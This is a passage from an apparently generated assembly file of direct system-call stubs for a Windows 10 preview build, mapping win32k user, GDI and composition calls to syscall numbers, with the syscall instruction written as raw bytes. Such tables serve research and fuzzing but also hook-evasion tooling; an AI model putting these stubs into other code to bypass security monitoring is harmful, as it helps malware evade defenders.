_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserProcessConnect ENDP
; ULONG64 __stdcall NtUserEnumDisplayDevices( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserEnumDisplayDevices PROC STDCALL
mov r10 , rcx
mov eax , 4333
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserEnumDisplayDevices ENDP
; ULONG64 __stdcall NtUserEmptyClipboard( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserEmptyClipboard PROC STDCALL
mov r10 , rcx
mov eax , 4334
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserEmptyClipboard ENDP
; ULONG64 __stdcall NtUserGetClipboardData( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetClipboardData PROC STDCALL
mov r10 , rcx
mov eax , 4335
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetClipboardData ENDP
; ULONG64 __stdcall NtUserRemoveMenu( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRemoveMenu PROC STDCALL
mov r10 , rcx
mov eax , 4336
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserRemoveMenu ENDP
; ULONG64 __stdcall NtGdiSetBoundsRect( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetBoundsRect PROC STDCALL
mov r10 , rcx
mov eax , 4337
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetBoundsRect ENDP
; ULONG64 __stdcall NtGdiGetBitmapDimension( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetBitmapDimension PROC STDCALL
mov r10 , rcx
mov eax , 4338
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetBitmapDimension ENDP
; ULONG64 __stdcall NtUserConvertMemHandle( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserConvertMemHandle PROC STDCALL
mov r10 , rcx
mov eax , 4339
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserConvertMemHandle ENDP
; ULONG64 __stdcall NtUserDestroyAcceleratorTable( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDestroyAcceleratorTable PROC STDCALL
mov r10 , rcx
mov eax , 4340
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDestroyAcceleratorTable ENDP
; ULONG64 __stdcall NtUserGetGUIThreadInfo( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetGUIThreadInfo PROC STDCALL
mov r10 , rcx
mov eax , 4341
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserGetGUIThreadInfo ENDP
; ULONG64 __stdcall NtGdiCloseFigure( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCloseFigure PROC STDCALL
mov r10 , rcx
mov eax , 4342
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCloseFigure ENDP
; ULONG64 __stdcall NtUserSetWindowsHookAW( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetWindowsHookAW PROC STDCALL
mov r10 , rcx
mov eax , 4343
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetWindowsHookAW ENDP
; ULONG64 __stdcall NtUserSetMenuDefaultItem( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetMenuDefaultItem PROC STDCALL
mov r10 , rcx
mov eax , 4344
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetMenuDefaultItem ENDP
; ULONG64 __stdcall NtUserCheckMenuItem( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCheckMenuItem PROC STDCALL
mov r10 , rcx
mov eax , 4345
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCheckMenuItem ENDP
; ULONG64 __stdcall NtUserSetWinEventHook( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetWinEventHook PROC STDCALL
mov r10 , rcx
mov eax , 4346
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetWinEventHook ENDP
; ULONG64 __stdcall NtUserUnhookWinEvent( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserUnhookWinEvent PROC STDCALL
mov r10 , rcx
mov eax , 4347
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserUnhookWinEvent ENDP
; ULONG64 __stdcall NtUserLockWindowUpdate( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserLockWindowUpdate PROC STDCALL
mov r10 , rcx
mov eax , 4348
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserLockWindowUpdate ENDP
; ULONG64 __stdcall NtUserSetSystemMenu( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetSystemMenu PROC STDCALL
mov r10 , rcx
mov eax , 4349
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetSystemMenu ENDP
; ULONG64 __stdcall NtUserThunkedMenuInfo( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserThunkedMenuInfo PROC STDCALL
mov r10 , rcx
mov eax , 4350
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserThunkedMenuInfo ENDP
; ULONG64 __stdcall NtGdiBeginPath( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiBeginPath PROC STDCALL
mov r10 , rcx
mov eax , 4351
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiBeginPath ENDP
; ULONG64 __stdcall NtGdiEndPath( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEndPath PROC STDCALL
mov r10 , rcx
mov eax , 4352
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEndPath ENDP
; ULONG64 __stdcall NtGdiFillPath( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiFillPath PROC STDCALL
mov r10 , rcx
mov eax , 4353
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiFillPath ENDP
; ULONG64 __stdcall NtUserCallHwnd( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCallHwnd PROC STDCALL
mov r10 , rcx
mov eax , 4354
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCallHwnd ENDP
; ULONG64 __stdcall NtUserDdeInitialize( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDdeInitialize PROC STDCALL
mov r10 , rcx
mov eax , 4355
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserDdeInitialize ENDP
; ULONG64 __stdcall NtUserModifyUserStartupInfoFlags( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserModifyUserStartupInfoFlags PROC STDCALL
mov r10 , rcx
mov eax , 4356
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserModifyUserStartupInfoFlags ENDP
; ULONG64 __stdcall NtUserCountClipboardFormats( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCountClipboardFormats PROC STDCALL
mov r10 , rcx
mov eax , 4357
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserCountClipboardFormats ENDP
; ULONG64 __stdcall NtGdiAddFontMemResourceEx( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiAddFontMemResourceEx PROC STDCALL
mov r10 , rcx
mov eax , 4358
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiAddFontMemResourceEx ENDP
; ULONG64 __stdcall NtGdiEqualRgn( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEqualRgn PROC STDCALL
mov r10 , rcx
mov eax , 4359
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiEqualRgn ENDP
; ULONG64 __stdcall NtGdiGetSystemPaletteUse( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetSystemPaletteUse PROC STDCALL
mov r10 , rcx
mov eax , 4360
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiGetSystemPaletteUse ENDP
; ULONG64 __stdcall NtGdiRemoveFontMemResourceEx( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiRemoveFontMemResourceEx PROC STDCALL
mov r10 , rcx
mov eax , 4361
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiRemoveFontMemResourceEx ENDP
; ULONG64 __stdcall NtUserEnumDisplaySettings( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserEnumDisplaySettings PROC STDCALL
mov r10 , rcx
mov eax , 4362
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserEnumDisplaySettings ENDP
; ULONG64 __stdcall NtUserPaintDesktop( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserPaintDesktop PROC STDCALL
mov r10 , rcx
mov eax , 4363
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserPaintDesktop ENDP
; ULONG64 __stdcall NtGdiExtEscape( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiExtEscape PROC STDCALL
mov r10 , rcx
mov eax , 4364
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiExtEscape ENDP
; ULONG64 __stdcall NtGdiSetBitmapDimension( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetBitmapDimension PROC STDCALL
mov r10 , rcx
mov eax , 4365
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetBitmapDimension ENDP
; ULONG64 __stdcall NtGdiSetFontEnumeration( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetFontEnumeration PROC STDCALL
mov r10 , rcx
mov eax , 4366
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiSetFontEnumeration ENDP
; ULONG64 __stdcall NtUserChangeClipboardChain( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserChangeClipboardChain PROC STDCALL
mov r10 , rcx
mov eax , 4367
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserChangeClipboardChain ENDP
; ULONG64 __stdcall NtUserSetClipboardViewer( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetClipboardViewer PROC STDCALL
mov r10 , rcx
mov eax , 4368
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserSetClipboardViewer ENDP
; ULONG64 __stdcall NtUserShowWindowAsync( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserShowWindowAsync PROC STDCALL
mov r10 , rcx
mov eax , 4369
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserShowWindowAsync ENDP
; ULONG64 __stdcall NtGdiCreateColorSpace( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCreateColorSpace PROC STDCALL
mov r10 , rcx
mov eax , 4370
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiCreateColorSpace ENDP
; ULONG64 __stdcall NtGdiDeleteColorSpace( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDeleteColorSpace PROC STDCALL
mov r10 , rcx
mov eax , 4371
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtGdiDeleteColorSpace ENDP
; ULONG64 __stdcall NtUserActivateKeyboardLayout( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserActivateKeyboardLayout PROC STDCALL
mov r10 , rcx
mov eax , 4372
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtUserActivateKeyboardLayout ENDP
; ULONG64 __stdcall NtBindCompositionSurface( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtBindCompositionSurface PROC STDCALL
mov r10 , rcx
mov eax , 4373
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtBindCompositionSurface ENDP
; ULONG64 __stdcall NtCompositionInputThread( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtCompositionInputThread PROC STDCALL
mov r10 , rcx
mov eax , 4374
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtCompositionInputThread ENDP
; ULONG64 __stdcall NtCompositionSetDropTarget( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtCompositionSetDropTarget PROC STDCALL
mov r10 , rcx
mov eax , 4375
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtCompositionSetDropTarget ENDP
; ULONG64 __stdcall NtCreateCompositionInputSink( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtCreateCompositionInputSink PROC STDCALL
mov r10 , rcx
mov eax , 4376
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtCreateCompositionInputSink ENDP
; ULONG64 __stdcall NtCreateCompositionSurfaceHandle( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtCreateCompositionSurfaceHandle PROC STDCALL
mov r10 , rcx
mov eax , 4377
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtCreateCompositionSurfaceHandle ENDP
; ULONG64 __stdcall NtCreateImplicitCompositionInputSink( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtCreateImplicitCompositionInputSink PROC STDCALL
mov r10 , rcx
mov eax , 4378
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtCreateImplicitCompositionInputSink ENDP
; ULONG64 __stdcall NtDCompositionAddCrossDeviceVisualChild( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionAddCrossDeviceVisualChild PROC STDCALL
mov r10 , rcx
mov eax , 4379
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionAddCrossDeviceVisualChild ENDP
; ULONG64 __stdcall NtDCompositionBeginFrame( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionBeginFrame PROC STDCALL
mov r10 , rcx
mov eax , 4380
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionBeginFrame ENDP
; ULONG64 __stdcall NtDCompositionCommitChannel( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionCommitChannel PROC STDCALL
mov r10 , rcx
mov eax , 4381
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionCommitChannel ENDP
; ULONG64 __stdcall NtDCompositionCommitSynchronizationObject( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionCommitSynchronizationObject PROC STDCALL
mov r10 , rcx
mov eax , 4382
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionCommitSynchronizationObject ENDP
; ULONG64 __stdcall NtDCompositionConfirmFrame( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionConfirmFrame PROC STDCALL
mov r10 , rcx
mov eax , 4383
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionConfirmFrame ENDP
; ULONG64 __stdcall NtDCompositionConnectPipe( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionConnectPipe PROC STDCALL
mov r10 , rcx
mov eax , 4384
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionConnectPipe ENDP
; ULONG64 __stdcall NtDCompositionCreateAndBindSharedSection( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionCreateAndBindSharedSection PROC STDCALL
mov r10 , rcx
mov eax , 4385
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionCreateAndBindSharedSection ENDP
; ULONG64 __stdcall NtDCompositionCreateChannel( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionCreateChannel PROC STDCALL
mov r10 , rcx
mov eax , 4386
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionCreateChannel ENDP
; ULONG64 __stdcall NtDCompositionCreateConnection( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionCreateConnection PROC STDCALL
mov r10 , rcx
mov eax , 4387
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionCreateConnection ENDP
; ULONG64 __stdcall NtDCompositionCreateDwmChannel( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionCreateDwmChannel PROC STDCALL
mov r10 , rcx
mov eax , 4388
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionCreateDwmChannel ENDP
; ULONG64 __stdcall NtDCompositionCreateSharedVisualHandle( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionCreateSharedVisualHandle PROC STDCALL
mov r10 , rcx
mov eax , 4389
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionCreateSharedVisualHandle ENDP
; ULONG64 __stdcall NtDCompositionCurrentBatchId( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionCurrentBatchId PROC STDCALL
mov r10 , rcx
mov eax , 4390
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionCurrentBatchId ENDP
; ULONG64 __stdcall NtDCompositionDestroyChannel( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionDestroyChannel PROC STDCALL
mov r10 , rcx
mov eax , 4391
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionDestroyChannel ENDP
; ULONG64 __stdcall NtDCompositionDestroyConnection( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionDestroyConnection PROC STDCALL
mov r10 , rcx
mov eax , 4392
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionDestroyConnection ENDP
; ULONG64 __stdcall NtDCompositionDiscardFrame( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionDiscardFrame PROC STDCALL
mov r10 , rcx
mov eax , 4393
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionDiscardFrame ENDP
; ULONG64 __stdcall NtDCompositionDuplicateHandleToProcess( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionDuplicateHandleToProcess PROC STDCALL
mov r10 , rcx
mov eax , 4394
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionDuplicateHandleToProcess ENDP
; ULONG64 __stdcall NtDCompositionDuplicateSwapchainHandleToDwm( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionDuplicateSwapchainHandleToDwm PROC STDCALL
mov r10 , rcx
mov eax , 4395
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionDuplicateSwapchainHandleToDwm ENDP
; ULONG64 __stdcall NtDCompositionEnableDDASupport( );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionEnableDDASupport PROC STDCALL
mov r10 , rcx
mov eax , 4396
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionEnableDDASupport ENDP
; ULONG64 __stdcall NtDCompositionEnableMMCSS( ULONG64 arg_01 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionEnableMMCSS PROC STDCALL
mov r10 , rcx
mov eax , 4397
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionEnableMMCSS ENDP
; ULONG64 __stdcall NtDCompositionGetChannels( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionGetChannels PROC STDCALL
mov r10 , rcx
mov eax , 4398
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionGetChannels ENDP
; ULONG64 __stdcall NtDCompositionGetConnectionBatch( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionGetConnectionBatch PROC STDCALL
mov r10 , rcx
mov eax , 4399
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionGetConnectionBatch ENDP
; ULONG64 __stdcall NtDCompositionGetDeletedResources( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionGetDeletedResources PROC STDCALL
mov r10 , rcx
mov eax , 4400
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionGetDeletedResources ENDP
; ULONG64 __stdcall NtDCompositionGetFrameLegacyTokens( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionGetFrameLegacyTokens PROC STDCALL
mov r10 , rcx
mov eax , 4401
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionGetFrameLegacyTokens ENDP
; ULONG64 __stdcall NtDCompositionGetFrameStatistics( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionGetFrameStatistics PROC STDCALL
mov r10 , rcx
mov eax , 4402
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionGetFrameStatistics ENDP
; ULONG64 __stdcall NtDCompositionGetFrameSurfaceUpdates( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionGetFrameSurfaceUpdates PROC STDCALL
mov r10 , rcx
mov eax , 4403
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionGetFrameSurfaceUpdates ENDP
; ULONG64 __stdcall NtDCompositionProcessChannelBatchBuffer( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionProcessChannelBatchBuffer PROC STDCALL
mov r10 , rcx
mov eax , 4404
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionProcessChannelBatchBuffer ENDP
; ULONG64 __stdcall NtDCompositionReferenceSharedResourceOnDwmChannel( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionReferenceSharedResourceOnDwmChannel PROC STDCALL
mov r10 , rcx
mov eax , 4405
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionReferenceSharedResourceOnDwmChannel ENDP
; ULONG64 __stdcall NtDCompositionRegisterThumbnailVisual( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 , ULONG64 arg_05 , ULONG64 arg_06 , ULONG64 arg_07 , ULONG64 arg_08 , ULONG64 arg_09 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionRegisterThumbnailVisual PROC STDCALL
mov r10 , rcx
mov eax , 4406
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionRegisterThumbnailVisual ENDP
; ULONG64 __stdcall NtDCompositionRegisterVirtualDesktopVisual( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionRegisterVirtualDesktopVisual PROC STDCALL
mov r10 , rcx
mov eax , 4407
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionRegisterVirtualDesktopVisual ENDP
; ULONG64 __stdcall NtDCompositionReleaseAllResources( ULONG64 arg_01 , ULONG64 arg_02 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionReleaseAllResources PROC STDCALL
mov r10 , rcx
mov eax , 4408
;syscall
db 0Fh , 05h
ret
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionReleaseAllResources ENDP
; ULONG64 __stdcall NtDCompositionRemoveCrossDeviceVisualChild( ULONG64 arg_01 , ULONG64 arg_02 , ULONG64 arg_03 , ULONG64 arg_04 );
_10_0_17025_sp0_windows_10_rs4_pre_17025_NtDCompositionRemoveCrossDeviceVisualChild PROC STDCALL
mov r10 , rcx
